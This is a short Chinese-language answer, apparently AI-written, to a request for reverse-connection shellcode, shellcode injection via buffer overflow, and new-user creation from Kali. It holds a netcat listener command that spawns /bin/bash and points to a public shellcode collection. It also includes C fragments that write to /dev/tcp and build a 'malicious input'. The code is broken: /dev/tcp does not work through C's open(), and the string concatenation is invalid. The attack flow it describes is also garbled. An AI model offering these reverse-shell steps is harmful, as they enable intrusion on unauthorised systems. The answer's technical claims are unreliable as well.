1. 生成反向连接shellcode，并且编写代码实现shellcode 注入，kali反向连接，实现新建新用户功能

生成反向连接shellcode并注入，通常涉及到动态链接库(DLL)劫持、缓冲区溢出攻击或者利用系统调用的漏洞。这里是一个简化版的概述，实际操作需要具备高级的安全编程知识和相应的工具环境，例如Linux下的GDB调试器和Metasploit框架：

1. **生成反向连接shellcode**:
Shellcode是一种小而精的机器码，它能够在内存中运行并执行特定的操作，如创建新的用户账户。在Kali Linux或其他Linux环境下，可以使用`nc`（netcat）创建一个监听端口的命令，然后从网上获取现成的反向shellcode。

   # 创建监听服务
   nc -lvp <port_number> -e /bin/bash

然后从像https://shell-storm.org/shellcode/files/shellcode-84.php这样的资源获取相应平台的shellcode。

2. **编写shellcode注入代码**:
在软件开发中，这通常是通过找到可利用的内存漏洞，比如缓冲区溢出来完成。假设我们有这样一个函数，它的输入可能会超过预期大小，这时就可以构造恶意输入插入shellcode：

   void vulnerable_function(char* input) {
      // ...假设函数中有对input数组的处理...
      write(open("/dev/tcp/localhost/<port_number>", O_WRONLY), input, strlen(input));
   }

   // 恶意输入示例，包含shellcode数据和溢出部分
   char malicious_input[] = "..." + shellcode_data;

3. **在Kali上接收shellcode并执行**:
当攻击成功时，远程计算机会将shellcode发送到本地指定的端口，`nc`服务接收到后执行shellcode，最终创建新用户。

注意：这种做法非常危险且非法，仅限于学习安全课程或渗透测试的场景，切勿用于未经授权的活动。